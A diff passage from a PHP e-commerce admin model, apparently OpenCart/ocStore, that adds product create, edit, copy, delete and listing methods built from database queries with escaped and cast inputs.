+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', tag = '" . $this->db->escape($value['tag']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['product_store'])) {
+ foreach ($data['product_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_store SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_attribute'])) {
+ foreach ($data['product_attribute'] as $product_attribute) {
+ if ($product_attribute['attribute_id']) {
+ // Removes duplicates
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute['product_attribute_description'] as $language_id => $product_attribute_description) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "' AND language_id = '" . (int)$language_id . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_id . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute_description['text']) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_option'])) {
+ foreach ($data['product_option'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (isset($product_option['product_option_value'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', required = '" . (int)$product_option['required'] . "'");
+
+ $product_option_id = $this->db->getLastId();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option_value SET product_option_id = '" . (int)$product_option_id . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', option_value_id = '" . (int)$product_option_value['option_value_id'] . "', quantity = '" . (int)$product_option_value['quantity'] . "', subtract = '" . (int)$product_option_value['subtract'] . "', price = '" . (float)$product_option_value['price'] . "', price_prefix = '" . $this->db->escape($product_option_value['price_prefix']) . "', points = '" . (int)$product_option_value['points'] . "', points_prefix = '" . $this->db->escape($product_option_value['points_prefix']) . "', weight = '" . (float)$product_option_value['weight'] . "', weight_prefix = '" . $this->db->escape($product_option_value['weight_prefix']) . "'");
+ }
+ }
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', value = '" . $this->db->escape($product_option['value']) . "', required = '" . (int)$product_option['required'] . "'");
+ }
+ }
+ }
+
+ if (isset($data['product_recurring'])) {
+ foreach ($data['product_recurring'] as $recurring) {
+
+ $query = $this->db->query("SELECT `product_id` FROM `" . DB_PREFIX . "product_recurring` WHERE `product_id` = '" . (int)$product_id . "' AND `customer_group_id = '" . (int)$recurring['customer_group_id'] . "' AND `recurring_id` = '" . (int)$recurring['recurring_id'] . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "product_recurring` SET `product_id` = '" . (int)$product_id . "', customer_group_id = '" . (int)$recurring['customer_group_id'] . "', `recurring_id` = '" . (int)$recurring['recurring_id'] . "'");
+ }
+ }
+ }
+
+ if (isset($data['product_discount'])) {
+ foreach ($data['product_discount'] as $product_discount) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_discount SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_discount['customer_group_id'] . "', quantity = '" . (int)$product_discount['quantity'] . "', priority = '" . (int)$product_discount['priority'] . "', price = '" . (float)$product_discount['price'] . "', date_start = '" . $this->db->escape($product_discount['date_start']) . "', date_end = '" . $this->db->escape($product_discount['date_end']) . "'");
+ }
+ }
+
+ if (isset($data['product_special'])) {
+ foreach ($data['product_special'] as $product_special) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_special SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_special['customer_group_id'] . "', priority = '" . (int)$product_special['priority'] . "', price = '" . (float)$product_special['price'] . "', date_start = '" . $this->db->escape($product_special['date_start']) . "', date_end = '" . $this->db->escape($product_special['date_end']) . "'");
+ }
+ }
+
+ if (isset($data['product_image'])) {
+ foreach ($data['product_image'] as $product_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_image SET product_id = '" . (int)$product_id . "', image = '" . $this->db->escape($product_image['image']) . "', sort_order = '" . (int)$product_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['product_download'])) {
+ foreach ($data['product_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_download SET product_id = '" . (int)$product_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['product_category'])) {
+ foreach ($data['product_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ if (isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ } elseif (isset($data['product_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product_to_category SET main_category = 1 WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['product_category'][0] . "'");
+ }
+
+ if (isset($data['product_filter'])) {
+ foreach ($data['product_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_filter SET product_id = '" . (int)$product_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$product_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$related_id . "' AND related_id = '" . (int)$product_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$related_id . "', related_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ if (isset($data['product_related_article'])) {
+ foreach ($data['product_related_article'] as $article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "' AND article_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_article SET product_id = '" . (int)$product_id . "', article_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ if (isset($data['product_reward'])) {
+ foreach ($data['product_reward'] as $customer_group_id => $product_reward) {
+ if ((int)$product_reward['points'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_reward SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$customer_group_id . "', points = '" . (int)$product_reward['points'] . "'");
+ }
+ }
+ }
+
+ // SEO URL
+ if (isset($data['product_seo_url'])) {
+ foreach ($data['product_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'product_id=" . (int)$product_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_layout'])) {
+ foreach ($data['product_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_layout SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $product_id;
+ }
+
+ public function editProduct($product_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET model = '" . $this->db->escape($data['model']) . "', sku = '" . $this->db->escape($data['sku']) . "', upc = '" . $this->db->escape($data['upc']) . "', ean = '" . $this->db->escape($data['ean']) . "', jan = '" . $this->db->escape($data['jan']) . "', isbn = '" . $this->db->escape($data['isbn']) . "', mpn = '" . $this->db->escape($data['mpn']) . "', location = '" . $this->db->escape($data['location']) . "', quantity = '" . (int)$data['quantity'] . "', minimum = '" . (int)$data['minimum'] . "', subtract = '" . (int)$data['subtract'] . "', stock_status_id = '" . (int)$data['stock_status_id'] . "', date_available = '" . $this->db->escape($data['date_available']) . "', manufacturer_id = '" . (int)$data['manufacturer_id'] . "', shipping = '" . (int)$data['shipping'] . "', price = '" . (float)$data['price'] . "',price_2 = '" . (float)$data['price_2'] . "',price_3 = '" . (float)$data['price_3'] . "', points = '" . (int)$data['points'] . "', weight = '" . (float)$data['weight'] . "', weight_class_id = '" . (int)$data['weight_class_id'] . "', length = '" . (float)$data['length'] . "', width = '" . (float)$data['width'] . "', height = '" . (float)$data['height'] . "', length_class_id = '" . (int)$data['length_class_id'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', tax_class_id = '" . (int)$data['tax_class_id'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET image = '" . $this->db->escape($data['image']) . "' WHERE product_id = '" . (int)$product_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($data['product_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', tag = '" . $this->db->escape($value['tag']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_store'])) {
+ foreach ($data['product_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_store SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "'");
+
+ if (!empty($data['product_attribute'])) {
+ foreach ($data['product_attribute'] as $product_attribute) {
+ if ($product_attribute['attribute_id']) {
+ // Removes duplicates
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute['product_attribute_description'] as $language_id => $product_attribute_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_id . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute_description['text']) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option_value WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_option'])) {
+ foreach ($data['product_option'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (isset($product_option['product_option_value'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_option_id = '" . (int)$product_option['product_option_id'] . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', required = '" . (int)$product_option['required'] . "'");
+
+ $product_option_id = $this->db->getLastId();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option_value SET product_option_value_id = '" . (int)$product_option_value['product_option_value_id'] . "', product_option_id = '" . (int)$product_option_id . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', option_value_id = '" . (int)$product_option_value['option_value_id'] . "', quantity = '" . (int)$product_option_value['quantity'] . "', subtract = '" . (int)$product_option_value['subtract'] . "', price = '" . (float)$product_option_value['price'] . "', price_prefix = '" . $this->db->escape($product_option_value['price_prefix']) . "', points = '" . (int)$product_option_value['points'] . "', points_prefix = '" . $this->db->escape($product_option_value['points_prefix']) . "', weight = '" . (float)$product_option_value['weight'] . "', weight_prefix = '" . $this->db->escape($product_option_value['weight_prefix']) . "'");
+ }
+ }
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_option_id = '" . (int)$product_option['product_option_id'] . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', value = '" . $this->db->escape($product_option['value']) . "', required = '" . (int)$product_option['required'] . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_recurring` WHERE product_id = " . (int)$product_id);
+
+ if (isset($data['product_recurring'])) {
+ foreach ($data['product_recurring'] as $product_recurring) {
+ $query = $this->db->query("SELECT `product_id` FROM `" . DB_PREFIX . "product_recurring` WHERE `product_id` = '" . (int)$product_id . "' AND `customer_group_id` = '" . (int)$product_recurring['customer_group_id'] . "' AND `recurring_id` = '" . (int)$product_recurring['recurring_id'] . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "product_recurring` SET `product_id` = '" . (int)$product_id . "', `customer_group_id` = '" . (int)$product_recurring['customer_group_id'] . "', `recurring_id` = '" . (int)$product_recurring['recurring_id'] . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_discount'])) {
+ foreach ($data['product_discount'] as $product_discount) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_discount SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_discount['customer_group_id'] . "', quantity = '" . (int)$product_discount['quantity'] . "', priority = '" . (int)$product_discount['priority'] . "', price = '" . (float)$product_discount['price'] . "', date_start = '" . $this->db->escape($product_discount['date_start']) . "', date_end = '" . $this->db->escape($product_discount['date_end']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_special'])) {
+ foreach ($data['product_special'] as $product_special) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_special SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_special['customer_group_id'] . "', priority = '" . (int)$product_special['priority'] . "', price = '" . (float)$product_special['price'] . "', date_start = '" . $this->db->escape($product_special['date_start']) . "', date_end = '" . $this->db->escape($product_special['date_end']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_image'])) {
+ foreach ($data['product_image'] as $product_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_image SET product_id = '" . (int)$product_id . "', image = '" . $this->db->escape($product_image['image']) . "', sort_order = '" . (int)$product_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_download'])) {
+ foreach ($data['product_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_download SET product_id = '" . (int)$product_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_category'])) {
+ foreach ($data['product_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ } elseif (isset($data['product_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product_to_category SET main_category = 1 WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['product_category'][0] . "'");
+ }
+
+ if (isset($data['product_filter'])) {
+ foreach ($data['product_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_filter SET product_id = '" . (int)$product_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE related_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$product_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$related_id . "' AND related_id = '" . (int)$product_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$related_id . "', related_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_related_article'])) {
+ foreach ($data['product_related_article'] as $article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "' AND article_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_article SET product_id = '" . (int)$product_id . "', article_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_reward'])) {
+ foreach ($data['product_reward'] as $customer_group_id => $value) {
+ if ((int)$value['points'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_reward SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$customer_group_id . "', points = '" . (int)$value['points'] . "'");
+ }
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+
+ if (isset($data['product_seo_url'])) {
+ foreach ($data['product_seo_url']as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'product_id=" . (int)$product_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_layout'])) {
+ foreach ($data['product_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_layout SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editProductStatus($product_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET status = '" . (int)$status . "', date_modified = NOW() WHERE product_id = '" . (int)$product_id . "'");
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $product_id;
+ }
+
+ public function copyProduct($product_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "product p WHERE p.product_id = '" . (int)$product_id . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['sku'] = '';
+ $data['upc'] = '';
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['product_attribute'] = $this->getProductAttributes($product_id);
+ $data['product_description'] = $this->getProductDescriptions($product_id);
+ $data['product_discount'] = $this->getProductDiscounts($product_id);
+ $data['product_filter'] = $this->getProductFilters($product_id);
+ $data['product_image'] = $this->getProductImages($product_id);
+ $data['product_option'] = $this->getProductOptions($product_id);
+ $data['product_related'] = $this->getProductRelated($product_id);
+ $data['product_related_article'] = $this->getArticleRelated($product_id);
+ $data['product_reward'] = $this->getProductRewards($product_id);
+ $data['product_special'] = $this->getProductSpecials($product_id);
+ $data['product_category'] = $this->getProductCategories($product_id);
+ $data['product_download'] = $this->getProductDownloads($product_id);
+ $data['product_layout'] = $this->getProductLayouts($product_id);
+ $data['product_store'] = $this->getProductStores($product_id);
+ $data['product_recurrings'] = $this->getRecurrings($product_id);
+
+ $this->addProduct($data);
+ }
+ }
+
+ public function deleteProduct($product_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option_value WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE related_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_recurring WHERE product_id = " . (int)$product_id);
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE product_id = '" . (int)$product_id . "'");
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function getProduct($product_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE p.product_id = '" . (int)$product_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getProducts($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ preg_match('/(.*)(WHERE pd\.language_id.*)/', $sql, $sql_crutch_matches);
+ if (isset($sql_crutch_matches[2])) {
+ $sql = $sql_crutch_matches[1] . " LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id)" . $sql_crutch_matches[2];
+ } else {
+ $data['filter_category'] = null;
+ }
+ }
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $sql .= " AND p.model LIKE '%" . $this->db->escape($data['filter_model']) . "%'";
+ }
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ if (!empty($data['filter_category']) && !empty($data['filter_sub_category'])) {
+ $implode_data = array();
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategoriesChildren($data['filter_category']);
+
+ foreach ($categories as $category) {
+ $implode_data[] = "p2c.category_id = '" . (int)$category['category_id'] . "'";
+ }
+
+ $sql .= " AND (" . implode(' OR ', $implode_data) . ")";
+ } else {
+ if ((int)$data['filter_category'] > 0) {
+ $sql .= " AND p2c.category_id = '" . (int)$data['filter_category'] . "'";
+ } else {
+ $sql .= " AND p2c.category_id IS NULL";
+ }
+ }
+ }
+
+ if (isset($data['filter_manufacturer_id']) && !is_null($data['filter_manufacturer_id'])) {
+ $sql .= " AND p.manufacturer_id = '" . (int)$data['filter_manufacturer_id'] . "'";
+ }
+
+ if (!empty($data['filter_price'])) {
+ $sql .= " AND p.price LIKE '" . $this->db->escape($data['filter_price']) . "%'";
+ }
+
+ if (isset($data['filter_price_min']) && !is_null($data['filter_price_min'])) {
+ $sql .= " AND p.price >= '" . (float)$data['filter_price_min'] . "'";
+ }
+
+ if (isset($data['filter_price_max']) && !is_null($data['filter_price_max'])) {
+ $sql .= " AND p.price <= '" . (float)$data['filter_price_max'] . "'";
+ }
+
+ if (isset($data['filter_quantity']) && $data['filter_quantity'] !== '') {
+ $sql .= " AND p.quantity = '" . (int)$data['filter_quantity'] . "'";
+ }
+
+ if (isset($data['filter_quantity_min']) && !is_null($data['filter_quantity_min'])) {
+ $sql .= " AND p.quantity >= '" . (int)$data['filter_quantity_min'] . "'";
+ }
+
+ if (isset($data['filter_quantity_max']) && !is_null($data['filter_quantity_max'])) {
+ $sql .= " AND p.quantity <= '" . (int)$data['filter_quantity_max'] . "'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== '') {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.product_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.model',
+ 'p.price',
+ 'p.quantity',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getProductsByCategoryId($category_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND p2c.category_id = '" . (int)$category_id . "' ORDER BY pd.name ASC");
+
